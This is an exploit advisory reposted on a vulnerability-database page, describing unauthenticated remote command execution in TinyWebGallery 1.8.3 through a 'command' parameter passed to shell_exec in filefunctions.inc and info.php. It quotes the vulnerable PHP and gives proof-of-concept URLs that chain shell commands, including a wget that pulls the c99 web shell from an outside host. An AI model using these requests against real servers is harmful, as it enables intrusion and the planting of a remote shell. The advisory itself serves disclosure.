TinyWebGallery 1.8.3 Remote Command Execution

2012.10.16
Credit: Expl0!Ts
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

TinyWebGallery 1.8.3 Remote Command Execution [] ---> Date : 05- 01- 2012 [] ---> Author : Expl0!Ts --------> My Best t34m -----> "BaC , RoBert MilEs , Bl4ck_ID" [] ---> Software Link : http://www.tinywebgallery.com/dl.php?file=twg_latest [] ---> Version: n/a [] ---> Category: php [] ---> Tested on: wind xp !----- > THnKs T0 My ALLAH bIG tHnkS T0 :-> vbspiders.com & Dz4all.com & isecur1ty.org <=================Exploit====================> -=[ vuln c0de ]=- 1 1) --------------> filefunctions.inc : function execute_command ($command) { global $use_shell_exec; ob_start(); set_error_handler("on_error_no_output"); i f (substr(@php_uname(), 0, 7) == "Windows"){ // Make a new instance of the COM object $WshShell = new COM("WScript.Shell"); // Make the command window but dont show it. $oExec = $WshShell->Run("cmd /C " . $command, 0, true); } else { if ($use_shell_exec) { shell_exec($command); <--------------------------------------------- error 1) ---------> PoC : http://127.0.0.1/(patch)/inc/filefunctions.inc?command=<id>;<pwd>;<wget http://shell.org/c99.zip> -=[ vuln c0de ]=- 2 2) --------------> ifo.php : if ($use_shell_exec) { shell_exec($command); } else { exec($command . " > /dev/null"); <------------------------------------------ error 2) ---------> PoC : http://127.0.0.1/(patch)/info.php?command=<id>;<pwd>;<wget http://shell.org/c99.zip> EnJoY o_O

References:

http://xforce.iss.net/xforce/xfdb/72157
http://www.securityfocus.com/bid/51325
http://www.osvdb.org/82481
http://www.exploit-db.com/exploits/18322


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top